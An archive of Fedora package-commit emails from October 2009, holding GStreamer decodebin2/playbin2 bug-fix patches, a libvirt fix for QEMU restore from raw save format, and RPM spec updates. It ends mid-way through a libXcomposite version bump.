 1 files changed, 5 insertions(+), 7 deletions(-)

diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
index 3b60ae9..1ad7968 100644
--- a/gst/playback/gstdecodebin2.c
+++ b/gst/playback/gstdecodebin2.c
@@ -857,18 +857,16 @@ gst_decode_bin_set_subs_encoding (GstDecodeBin * dbin, const gchar * encoding)
 
   GST_DEBUG_OBJECT (dbin, "Setting new encoding: %s", GST_STR_NULL (encoding));
 
-  DECODE_BIN_LOCK (dbin);
   GST_OBJECT_LOCK (dbin);
   g_free (dbin->encoding);
   dbin->encoding = g_strdup (encoding);
-  GST_OBJECT_UNLOCK (dbin);
 
   /* set the subtitle encoding on all added elements */
   for (walk = dbin->subtitles; walk; walk = g_list_next (walk)) {
     g_object_set (G_OBJECT (walk->data), "subtitle-encoding", dbin->encoding,
         NULL);
   }
-  DECODE_BIN_UNLOCK (dbin);
+  GST_OBJECT_UNLOCK (dbin);
 }
 
 static gchar *
@@ -1319,11 +1317,11 @@ connect_pad (GstDecodeBin * dbin, GstElement * src, GstDecodePad * dpad,
       continue;
     }
     if (subtitle) {
-      DECODE_BIN_LOCK (dbin);
+      GST_OBJECT_LOCK (dbin);
       /* we added the element now, add it to the list of subtitle-encoding
        * elements when we can set the property */
       dbin->subtitles = g_list_prepend (dbin->subtitles, element);
-      DECODE_BIN_UNLOCK (dbin);
+      GST_OBJECT_UNLOCK (dbin);
     }
 
     res = TRUE;
@@ -2364,10 +2362,10 @@ restart:
 
 done:
   gst_element_set_state (element, GST_STATE_NULL);
-  DECODE_BIN_LOCK (dbin);
+  GST_OBJECT_LOCK (dbin);
   /* remove possible subtitle element */
   dbin->subtitles = g_list_remove (dbin->subtitles, element);
-  DECODE_BIN_UNLOCK (dbin);
+  GST_OBJECT_UNLOCK (dbin);
   gst_bin_remove (GST_BIN (dbin), element);
 
 beach:
-- 
1.6.4.3

>From a7fe6e683ae91caa9445d899964553a2610fba17 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
Date: Sat, 26 Sep 2009 12:10:21 +0200
Subject: [PATCH 2/7] decodebin2: Don't set the external ghostpads blocked but only their targets

Pad blocks should never be done on external pads as outside elements
might want to use their own pad blocks on them and this will lead to
conflicts and deadlocks.
---
 gst/playback/gstdecodebin2.c |   23 ++++++++++++++++++-----
 1 files changed, 18 insertions(+), 5 deletions(-)

diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
index 1ad7968..24e251b 100644
--- a/gst/playback/gstdecodebin2.c
+++ b/gst/playback/gstdecodebin2.c
@@ -2484,7 +2484,7 @@ gst_decode_pad_init (GstDecodePad * pad)
 }
 
 static void
-source_pad_blocked_cb (GstDecodePad * dpad, gboolean blocked, gpointer unused)
+source_pad_blocked_cb (GstPad * opad, gboolean blocked, GstDecodePad * dpad)
 {
   GstDecodeGroup *group;
   GstDecodeBin *dbin;
@@ -2531,10 +2531,16 @@ static void
 gst_decode_pad_set_blocked (GstDecodePad * dpad, gboolean blocked)
 {
   GstDecodeBin *dbin = dpad->dbin;
+  GstPad *opad;
 
   DECODE_BIN_DYN_LOCK (dbin);
-  gst_pad_set_blocked_async (GST_PAD (dpad), blocked,
-      (GstPadBlockCallback) source_pad_blocked_cb, NULL);
+  opad = gst_ghost_pad_get_target (GST_GHOST_PAD_CAST (dpad));
+  if (!opad)
+    goto out;
+
+  gst_pad_set_blocked_async_full (opad, blocked,
+      (GstPadBlockCallback) source_pad_blocked_cb, gst_object_ref (dpad),
+      (GDestroyNotify) gst_object_unref);
   if (blocked) {
     if (dbin->shutdown) {
       /* deactivate to force flushing state to prevent NOT_LINKED errors */
@@ -2548,6 +2554,8 @@ gst_decode_pad_set_blocked (GstDecodePad * dpad, gboolean blocked)
       gst_object_unref (dpad);
     dbin->blocked_pads = g_list_remove (dbin->blocked_pads, dpad);
   }
+  gst_object_unref (opad);
+out:
   DECODE_BIN_DYN_UNLOCK (dbin);
 }
 
@@ -2659,15 +2667,20 @@ unblock_pads (GstDecodeBin * dbin)
 
   for (tmp = dbin->blocked_pads; tmp; tmp = next) {
     GstDecodePad *dpad = (GstDecodePad *) tmp->data;
+    GstPad *opad = gst_ghost_pad_get_target (GST_GHOST_PAD_CAST (dpad));
 
     next = g_list_next (tmp);
+    if (!opad)
+      continue;
 
     GST_DEBUG_OBJECT (dpad, "unblocking");
-    gst_pad_set_blocked_async (GST_PAD (dpad), FALSE,
-        (GstPadBlockCallback) source_pad_blocked_cb, NULL);
+    gst_pad_set_blocked_async_full (opad, FALSE,
+        (GstPadBlockCallback) source_pad_blocked_cb, gst_object_ref (dpad),
+        (GDestroyNotify) gst_object_unref);
     /* make flushing, prevent NOT_LINKED */
     GST_PAD_SET_FLUSHING (GST_PAD (dpad));
     gst_object_unref (dpad);
+    gst_object_unref (opad);
     GST_DEBUG_OBJECT (dpad, "unblocked");
   }
 
-- 
1.6.4.3

>From 10cb19bcda3082435d57518666076a69e51a1bba Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
Date: Thu, 24 Sep 2009 16:05:58 +0200
Subject: [PATCH 3/7] factorylist: Use gst_caps_can_intersect() instead of _intersect()

This is faster and results in less allocations.
---
 gst/playback/gstfactorylists.c |    9 +++------
 1 files changed, 3 insertions(+), 6 deletions(-)

diff --git a/gst/playback/gstfactorylists.c b/gst/playback/gstfactorylists.c
index 7099927..df1916f 100644
--- a/gst/playback/gstfactorylists.c
+++ b/gst/playback/gstfactorylists.c
@@ -240,7 +240,6 @@ gst_factory_list_filter (GValueArray * array, const GstCaps * caps)
 
       /* we only care about the sink templates */
       if (templ->direction == GST_PAD_SINK) {
-        GstCaps *intersect;
         GstCaps *tmpl_caps;
 
         /* try to intersect the caps with the caps of the template */
@@ -248,21 +247,19 @@ gst_factory_list_filter (GValueArray * array, const GstCaps * caps)
 
         /* FIXME, intersect is not the right method, we ideally want to check
          * for a subset here */
-        intersect = gst_caps_intersect (caps, tmpl_caps);
-        gst_caps_unref (tmpl_caps);
 
         /* check if the intersection is empty */
-        if (!gst_caps_is_empty (intersect)) {
+        if (gst_caps_can_intersect (caps, tmpl_caps)) {
           /* non empty intersection, we can use this element */
           GValue resval = { 0, };
           g_value_init (&resval, G_TYPE_OBJECT);
           g_value_set_object (&resval, factory);
           g_value_array_append (result, &resval);
           g_value_unset (&resval);
-          gst_caps_unref (intersect);
+          gst_caps_unref (tmpl_caps);
           break;
         }
-        gst_caps_unref (intersect);
+        gst_caps_unref (tmpl_caps);
       }
     }
   }
-- 
1.6.4.3

>From 39bc12ee20437b352a13361ba48dcc886fce35a2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
Date: Sat, 26 Sep 2009 12:17:49 +0200
Subject: [PATCH 4/7] decodebin2: Rewrite autoplugging and how groups of pads are exposed

[...2454 lines suppressed...]
+      DYN_UNLOCK (dbin);
       dbin->have_type = FALSE;
       ret = GST_STATE_CHANGE_ASYNC;
       do_async_start (dbin);
       break;
     case GST_STATE_CHANGE_PAUSED_TO_READY:
-      DECODE_BIN_DYN_LOCK (dbin);
+      DYN_LOCK (dbin);
       GST_LOG_OBJECT (dbin, "setting shutdown flag");
       dbin->shutdown = TRUE;
       unblock_pads (dbin);
-      DECODE_BIN_DYN_UNLOCK (dbin);
+      DYN_UNLOCK (dbin);
     default:
       break;
   }
@@ -2733,11 +2842,12 @@ gst_decode_bin_change_state (GstElement * element, GstStateChange transition)
   switch (transition) {
     case GST_STATE_CHANGE_PAUSED_TO_READY:
       do_async_done (dbin);
-      gst_decode_bin_remove_groups (dbin);
+      if (dbin->decode_chain) {
+        gst_decode_chain_free (dbin->decode_chain);
+        dbin->decode_chain = NULL;
+      }
       break;
     case GST_STATE_CHANGE_READY_TO_NULL:
-      gst_decode_bin_remove_groups (dbin);
-      break;
     default:
       break;
   }
-- 
1.6.4.3

>From 5ee4ee1682cff7ca44897fec0dcee6374cd6636d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
Date: Thu, 24 Sep 2009 14:56:48 +0200
Subject: [PATCH 5/7] uridecodebin: Don't post missing plugin messages twice

decodebin2 already posts them after emitting the unknown-type signal,
there's no need to post another one.
---
 gst/playback/gsturidecodebin.c |    6 ------
 1 files changed, 0 insertions(+), 6 deletions(-)

diff --git a/gst/playback/gsturidecodebin.c b/gst/playback/gsturidecodebin.c
index 0e0bb74..6420414 100644
--- a/gst/playback/gsturidecodebin.c
+++ b/gst/playback/gsturidecodebin.c
@@ -33,8 +33,6 @@
 #include <gst/gst.h>
 #include <gst/gst-i18n-plugin.h>
 
-#include <gst/pbutils/missing-plugins.h>
-
 #include "gstfactorylists.h"
 #include "gstplay-marshal.h"
 #include "gstplay-enum.h"
@@ -622,12 +620,8 @@ static void
 unknown_type_cb (GstElement * element, GstPad * pad, GstCaps * caps,
     GstURIDecodeBin * decoder)
 {
-  GstMessage *msg;
   gchar *capsstr;
 
-  msg = gst_missing_decoder_message_new (GST_ELEMENT_CAST (decoder), caps);
-  gst_element_post_message (GST_ELEMENT_CAST (decoder), msg);
-
   capsstr = gst_caps_to_string (caps);
   GST_ELEMENT_WARNING (decoder, CORE, MISSING_PLUGIN,
       (_("No decoder available for type \'%s\'."), capsstr), (NULL));
-- 
1.6.4.3

>From 4a7f2e6c102eeefa7da8e7c9c2eec3c0019bba01 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
Date: Sat, 26 Sep 2009 12:47:53 +0200
Subject: [PATCH 6/7] decodebin2: Use the iterate internal links function instead of string magic to get multiqueue srcpads

---
 gst/playback/gstdecodebin2.c |   31 +++++++++++++++++--------------
 1 files changed, 17 insertions(+), 14 deletions(-)

diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
index 1d6c9d2..4fe62b4 100644
--- a/gst/playback/gstdecodebin2.c
+++ b/gst/playback/gstdecodebin2.c
@@ -2108,7 +2108,7 @@ gst_decode_group_control_demuxer_pad (GstDecodeGroup * group, GstPad * pad)
 {
   GstDecodeBin *dbin;
   GstPad *srcpad, *sinkpad;
-  gchar *nb, *sinkname, *srcname;
+  GstIterator *it = NULL;
 
   dbin = group->dbin;
 
@@ -2126,29 +2126,32 @@ gst_decode_group_control_demuxer_pad (GstDecodeGroup * group, GstPad * pad)
 
   if ((gst_pad_link (pad, sinkpad) != GST_PAD_LINK_OK)) {
     GST_ERROR_OBJECT (dbin, "Couldn't link demuxer and multiqueue");
-    goto beach;
+    goto error;
   }
 
-  CHAIN_MUTEX_LOCK (group->parent);
-  group->reqpads = g_list_prepend (group->reqpads, gst_object_ref (sinkpad));
-
-  sinkname = gst_pad_get_name (sinkpad);
-  nb = sinkname + 4;
-  srcname = g_strdup_printf ("src%s", nb);
-  g_free (sinkname);
+  it = gst_pad_iterate_internal_links (sinkpad);
 
-  if (!(srcpad = gst_element_get_static_pad (group->multiqueue, srcname))) {
-    GST_ERROR_OBJECT (dbin, "Couldn't get srcpad %s from multiqueue", srcname);
-    goto chiringuito;
+  if (!it || (gst_iterator_next (it, (gpointer *) & srcpad)) != GST_ITERATOR_OK
+      || srcpad == NULL) {
+    GST_ERROR_OBJECT (dbin,
+        "Couldn't get srcpad from multiqueue for sinkpad %" GST_PTR_FORMAT,
+        sinkpad);
+    goto error;
   }
 
-chiringuito:
-  g_free (srcname);
+  CHAIN_MUTEX_LOCK (group->parent);
+  group->reqpads = g_list_prepend (group->reqpads, gst_object_ref (sinkpad));
   CHAIN_MUTEX_UNLOCK (group->parent);
 
 beach:
+  if (it)
+    gst_iterator_free (it);
   gst_object_unref (sinkpad);
   return srcpad;
+
+error:
+  gst_element_release_request_pad (group->multiqueue, sinkpad);
+  goto beach;
 }
 
 /* gst_decode_group_is_complete:
-- 
1.6.4.3

>From 68cef57e9260265229d194f1309cdffd654c95b6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
Date: Sat, 26 Sep 2009 12:56:36 +0200
Subject: [PATCH 7/7] decodebin2: Chains with an exposed endpad are complete too

This allows partial group changes, i.e. demuxer2 in the example below
goes EOS but has a next group and audio2 stays the same.

          /-- >demuxer2---->video
demuxer---             \--->audio1
          \--->audio2
---
 gst/playback/gstdecodebin2.c |   11 ++++++++---
 1 files changed, 8 insertions(+), 3 deletions(-)

diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
index 4fe62b4..60dbf57 100644
--- a/gst/playback/gstdecodebin2.c
+++ b/gst/playback/gstdecodebin2.c
@@ -2191,7 +2191,7 @@ out:
  *
  * Returns TRUE if the chain is complete, this means either
  * a) This chain is a dead end, i.e. we have no suitable plugins
- * b) This chain ends in an endpad and this is blocked
+ * b) This chain ends in an endpad and this is blocked or exposed
  *
  * Not MT-safe, always call with decodebin expose lock
  */
@@ -2200,7 +2200,12 @@ gst_decode_chain_is_complete (GstDecodeChain * chain)
 {
   gboolean complete = FALSE;
 
-  if (chain->deadend || (chain->endpad && chain->endpad->blocked)) {
+  if (chain->deadend) {
+    complete = TRUE;
+    goto out;
+  }
+
+  if (chain->endpad && (chain->endpad->blocked || chain->endpad->exposed)) {
     complete = TRUE;
     goto out;
   }
@@ -2543,7 +2548,7 @@ gst_decode_chain_expose (GstDecodeChain * chain, GList ** endpads)
     return TRUE;
 
   if (chain->endpad) {
-    if (!chain->endpad->blocked)
+    if (!chain->endpad->blocked && !chain->endpad->exposed)
       return FALSE;
     *endpads = g_list_prepend (*endpads, gst_object_ref (chain->endpad));
     return TRUE;
-- 
1.6.4.3


gstpb-no-subtitle-errors.patch:
 gstplaybin2.c |  112 ++++++++++++++++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 106 insertions(+), 6 deletions(-)

--- NEW FILE gstpb-no-subtitle-errors.patch ---
commit a4bc39ef4836abcf16bd9d451ed89979ff090c0d
Author: Sebastian Dr?ge <sebastian.droege at collabora.co.uk>
Date:   Thu Oct 8 19:55:42 2009 +0200

    playbin2: Don't stop completely on initialization errors from subtitle elements
    
    Instead disable the subtitles and play the other parts of the stream.
    
    Fixes bug #587704.

diff --git a/gst/playback/gstplaybin2.c b/gst/playback/gstplaybin2.c
index b2f41a6..c134036 100644
--- a/gst/playback/gstplaybin2.c
+++ b/gst/playback/gstplaybin2.c
@@ -522,6 +522,10 @@ static GstPad *gst_play_bin_get_text_pad (GstPlayBin * playbin, gint stream);
 
 static gboolean setup_next_source (GstPlayBin * playbin, GstState target);
 
+static void no_more_pads_cb (GstElement * decodebin, GstSourceGroup * group);
+static void pad_removed_cb (GstElement * decodebin, GstPad * pad,
+    GstSourceGroup * group);
+
 static GstElementClass *parent_class;
 
 static guint gst_play_bin_signals[LAST_SIGNAL] = { 0 };
@@ -532,6 +536,12 @@ GST_ELEMENT_DETAILS ("Player Bin 2",
     "Autoplug and play media from an uri",
     "Wim Taymans <wim.taymans at gmail.com>");
 
+#define REMOVE_SIGNAL(obj,id)            \
+if (id) {                                \
+  g_signal_handler_disconnect (obj, id); \
+  id = 0;                                \
+}
+
 static void
 gst_play_marshal_BUFFER__BOXED (GClosure * closure,
     GValue * return_value G_GNUC_UNUSED,
@@ -1800,9 +1810,38 @@ static const gchar *blacklisted_mimes[] = {
   "video/x-dvd-subpicture", "subpicture/x-pgs", NULL
 };
 
+
+/* Returns TRUE if child is object or any parent (transitive)
+ * of child is object */
+static gboolean
+_gst_object_contains_object (GstObject * object, GstObject * child)
+{
+  GstObject *parent, *tmp;
+
+  if (!object || !child)
+    return FALSE;
+
+  parent = gst_object_ref (child);
+  do {
+    if (parent == object) {
+      gst_object_unref (parent);
+      return TRUE;
+    }
+
+    tmp = gst_object_get_parent (parent);
+    gst_object_unref (parent);
+    parent = tmp;
+  } while (parent);
+
+  return FALSE;
+}
+
 static void
 gst_play_bin_handle_message (GstBin * bin, GstMessage * msg)
 {
+  GstPlayBin *playbin = GST_PLAY_BIN (bin);
+  GstSourceGroup *group;
+
   if (gst_is_missing_plugin_message (msg)) {
     gchar *detail;
     guint i;
@@ -1818,6 +1857,73 @@ gst_play_bin_handle_message (GstBin * bin, GstMessage * msg)
     }
     g_free (detail);
   }
+
+  group = playbin->curr_group;
+  /* If we get an error of the subtitle uridecodebin transform
+   * them into warnings and disable the subtitles */
+  if (group && group->pending && group->suburidecodebin) {
+    GstObject *srcparent = gst_object_get_parent (GST_OBJECT_CAST (msg->src));
+
+    if (G_UNLIKELY (_gst_object_contains_object (GST_OBJECT_CAST
+                (group->suburidecodebin), msg->src)
+            && GST_MESSAGE_TYPE (msg) == GST_MESSAGE_ERROR)) {
+      GError *err;
+      gchar *debug = NULL;
+      GstMessage *new_msg;
+      GstIterator *it;
+      gboolean done = FALSE;
+
+      gst_message_parse_error (msg, &err, &debug);
+      new_msg = gst_message_new_warning (msg->src, err, debug);
+
+      gst_message_unref (msg);
+      msg = new_msg;
+
+      REMOVE_SIGNAL (group->suburidecodebin, group->sub_pad_added_id);
+      REMOVE_SIGNAL (group->suburidecodebin, group->sub_pad_removed_id);
+      REMOVE_SIGNAL (group->suburidecodebin, group->sub_no_more_pads_id);
+
+      it = gst_element_iterate_src_pads (group->suburidecodebin);
+      while (it && !done) {
+        GstPad *p = NULL;
+        GstIteratorResult res;
+
+        res = gst_iterator_next (it, (gpointer) & p);
+
+        switch (res) {
+          case GST_ITERATOR_DONE:
+            done = TRUE;
+            break;
+          case GST_ITERATOR_OK:
+            pad_removed_cb (NULL, p, group);
+            gst_object_unref (p);
+            break;
+
+          case GST_ITERATOR_RESYNC:
+            gst_iterator_resync (it);
+            break;
+          case GST_ITERATOR_ERROR:
+            done = TRUE;
+            break;
+        }
+      }
+      if (it)
+        gst_iterator_free (it);
+
+      gst_object_ref (group->suburidecodebin);
+      gst_bin_remove (bin, group->suburidecodebin);
+      gst_element_set_locked_state (group->suburidecodebin, FALSE);
+      gst_element_set_state (group->suburidecodebin, GST_STATE_NULL);
+      gst_object_unref (group->suburidecodebin);
+      group->suburidecodebin = NULL;
+
+      no_more_pads_cb (NULL, group);
+    }
+
+    if (srcparent)
+      gst_object_unref (srcparent);
+  }
+
   GST_BIN_CLASS (parent_class)->handle_message (bin, msg);
 }
 
@@ -2516,12 +2622,6 @@ group_set_locked_state_unlocked (GstPlayBin * playbin, GstSourceGroup * group,
   return TRUE;
 }
 
-#define REMOVE_SIGNAL(obj,id)            \
-if (id) {                                \
-  g_signal_handler_disconnect (obj, id); \
-  id = 0;                                \
-}
-
 /* must be called with PLAY_BIN_LOCK */
 static gboolean
 activate_group (GstPlayBin * playbin, GstSourceGroup * group, GstState target)


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/gstreamer-plugins-base.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- gstreamer-plugins-base.spec	5 Oct 2009 16:24:58 -0000	1.92
+++ gstreamer-plugins-base.spec	13 Oct 2009 15:32:49 -0000	1.93
@@ -3,7 +3,7 @@
 
 Name: 		%{gstreamer}-plugins-base
 Version: 	0.10.25
-Release:  	1%{?dist}
+Release:  	2%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
 Group: 		Applications/Multimedia
@@ -33,6 +33,11 @@ BuildRequires:  gtk2-devel
 BuildRequires:  pkgconfig
 Obsoletes:	gstreamer-plugins
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=587704
+Patch0:		gstpb-no-subtitle-errors.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=591677
+Patch1:		gstpb-fix-missing-plugins.patch
+
 # documentation
 BuildRequires:  gtk-doc >= 1.3
 BuildRequires:  PyXML
@@ -49,6 +54,8 @@ This package contains a set of well-main
 
 %prep
 %setup -q -n gst-plugins-base-%{version}
+%patch0 -p1 -b .subtitle-errors
+%patch1 -p1 -b .missing-plugins
 
 %build
 %configure \
@@ -244,6 +251,9 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-2
+- Add patches to fix some playbin2 bugs (#518880)
+
 * Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
 - Update to 0.10.25
 - Require a gstreamer of the same version as us (#503707)



From markmc at fedoraproject.org  Tue Oct 13 15:34:15 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue, 13 Oct 2009 15:34:15 +0000 (UTC)
Subject: rpms/libvirt/devel libvirt-fix-qemu-restore-from-raw.patch, NONE,
	1.1 libvirt.spec, 1.189, 1.190
Message-ID: <20091013153415.EF29511C00E8@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3757

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-fix-qemu-restore-from-raw.patch 
Log Message:
* Tue Oct 13 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-12
- Fix restore of qemu guest using raw save format (#523158)


libvirt-fix-qemu-restore-from-raw.patch:
 qemu_driver.c |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE libvirt-fix-qemu-restore-from-raw.patch ---
>From 8c8bca077a913e7ae49798400f4ac3f121600881 Mon Sep 17 00:00:00 2001
From: Daniel P. Berrange <berrange at redhat.com>
Date: Mon, 12 Oct 2009 20:03:50 +0100
Subject: [PATCH] Fix QEMU restore from file in raw format

The logic for running the decompression programs was broken in
commit f238709304f9f6c57204cdd943e542cbae38fa5f, so that for
non-raw formats the decompression program was never run, and
for raw formats, it tried to exec an argv[] with initial NULL
in the program name.

* src/qemu/qemu_driver.c: Fix logic in runing decompression program

(cherry picked from commit 74b379cbd5ba9f472a3a2d5710e497966b1a3a37)

Fedora-patch: libvirt-fix-qemu-restore-from-raw.patch
---
 src/qemu_driver.c |    3 +--
 1 files changed, 1 insertions(+), 2 deletions(-)

diff --git a/src/qemu_driver.c b/src/qemu_driver.c
index 550a59c..0ce403c 100644
--- a/src/qemu_driver.c
+++ b/src/qemu_driver.c
@@ -4541,9 +4541,8 @@ static int qemudDomainRestore(virConnectPtr conn,
             goto cleanup;
         }
 
-        if (header.compressed != QEMUD_SAVE_FORMAT_RAW)
+        if (header.compressed != QEMUD_SAVE_FORMAT_RAW) {
             intermediate_argv[0] = prog;
-        else {
             intermediatefd = fd;
             fd = -1;
             if (virExec(conn, intermediate_argv, NULL, NULL,
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.189
retrieving revision 1.190
diff -u -p -r1.189 -r1.190
--- libvirt.spec	9 Oct 2009 14:53:49 -0000	1.189
+++ libvirt.spec	13 Oct 2009 15:34:15 -0000	1.190
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 11%{?dist}%{?extra_release}
+Release: 12%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -187,6 +187,9 @@ Patch12: libvirt-fix-device-detach-typo3
 # Fix libvirtd memory leak during error reply sending (#528162)
 Patch13: libvirt-fix-libvirtd-leak-in-error-reply.patch
 
+# Fix restore of qemu guest using raw save format (#523158)
+Patch14: libvirt-fix-qemu-restore-from-raw.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -415,6 +418,7 @@ of recent versions of Linux (and other O
 %patch11 -p1
 %patch12 -p1
 %patch13 -p1
+%patch14 -p1
 
 %build
 # Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
@@ -809,6 +813,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 13 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-12
+- Fix restore of qemu guest using raw save format (#523158)
+
 * Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-11
 - Fix libvirtd memory leak during error reply sending (#528162)
 - Add several PCI hot-unplug typo fixes from upstream



From markmc at fedoraproject.org  Tue Oct 13 15:34:19 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue, 13 Oct 2009 15:34:19 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt-fix-qemu-restore-from-raw.patch, NONE,
	1.1 libvirt.spec, 1.189, 1.190
Message-ID: <20091013153419.BE35111C00E8@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3795

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-fix-qemu-restore-from-raw.patch 
Log Message:
* Tue Oct 13 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-12
- Fix restore of qemu guest using raw save format (#523158)


libvirt-fix-qemu-restore-from-raw.patch:
 qemu_driver.c |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE libvirt-fix-qemu-restore-from-raw.patch ---
>From 8c8bca077a913e7ae49798400f4ac3f121600881 Mon Sep 17 00:00:00 2001
From: Daniel P. Berrange <berrange at redhat.com>
Date: Mon, 12 Oct 2009 20:03:50 +0100
Subject: [PATCH] Fix QEMU restore from file in raw format

The logic for running the decompression programs was broken in
commit f238709304f9f6c57204cdd943e542cbae38fa5f, so that for
non-raw formats the decompression program was never run, and
for raw formats, it tried to exec an argv[] with initial NULL
in the program name.

* src/qemu/qemu_driver.c: Fix logic in runing decompression program

(cherry picked from commit 74b379cbd5ba9f472a3a2d5710e497966b1a3a37)

Fedora-patch: libvirt-fix-qemu-restore-from-raw.patch
---
 src/qemu_driver.c |    3 +--
 1 files changed, 1 insertions(+), 2 deletions(-)

diff --git a/src/qemu_driver.c b/src/qemu_driver.c
index 550a59c..0ce403c 100644
--- a/src/qemu_driver.c
+++ b/src/qemu_driver.c
@@ -4541,9 +4541,8 @@ static int qemudDomainRestore(virConnectPtr conn,
             goto cleanup;
         }
 
-        if (header.compressed != QEMUD_SAVE_FORMAT_RAW)
+        if (header.compressed != QEMUD_SAVE_FORMAT_RAW) {
             intermediate_argv[0] = prog;
-        else {
             intermediatefd = fd;
             fd = -1;
             if (virExec(conn, intermediate_argv, NULL, NULL,
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.189
retrieving revision 1.190
diff -u -p -r1.189 -r1.190
--- libvirt.spec	9 Oct 2009 14:55:29 -0000	1.189
+++ libvirt.spec	13 Oct 2009 15:34:19 -0000	1.190
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 11%{?dist}%{?extra_release}
+Release: 12%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -187,6 +187,9 @@ Patch12: libvirt-fix-device-detach-typo3
 # Fix libvirtd memory leak during error reply sending (#528162)
 Patch13: libvirt-fix-libvirtd-leak-in-error-reply.patch
 
+# Fix restore of qemu guest using raw save format (#523158)
+Patch14: libvirt-fix-qemu-restore-from-raw.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -415,6 +418,7 @@ of recent versions of Linux (and other O
 %patch11 -p1
 %patch12 -p1
 %patch13 -p1
+%patch14 -p1
 
 %build
 # Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
@@ -809,6 +813,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 13 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-12
+- Fix restore of qemu guest using raw save format (#523158)
+
 * Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-11
 - Fix libvirtd memory leak during error reply sending (#528162)
 - Add several PCI hot-unplug typo fixes from upstream



From ajax at fedoraproject.org  Tue Oct 13 15:35:11 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 15:35:11 +0000 (UTC)
Subject: rpms/libXcomposite/devel .cvsignore, 1.9, 1.10 libXcomposite.spec, 
	1.29, 1.30 sources, 1.10, 1.11
Message-ID: <20091013153511.B546F11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXcomposite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4277

Modified Files:
	.cvsignore libXcomposite.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 0.4.1-1
- libXcomposite 0.4.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXcomposite/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	24 Jul 2007 17:40:17 -0000	1.9
+++ .cvsignore	13 Oct 2009 15:35:10 -0000	1.10
@@ -1 +1 @@
-libXcomposite-0.4.0.tar.bz2
+libXcomposite-0.4.1.tar.bz2


Index: libXcomposite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXcomposite/devel/libXcomposite.spec,v
retrieving revision 1.29
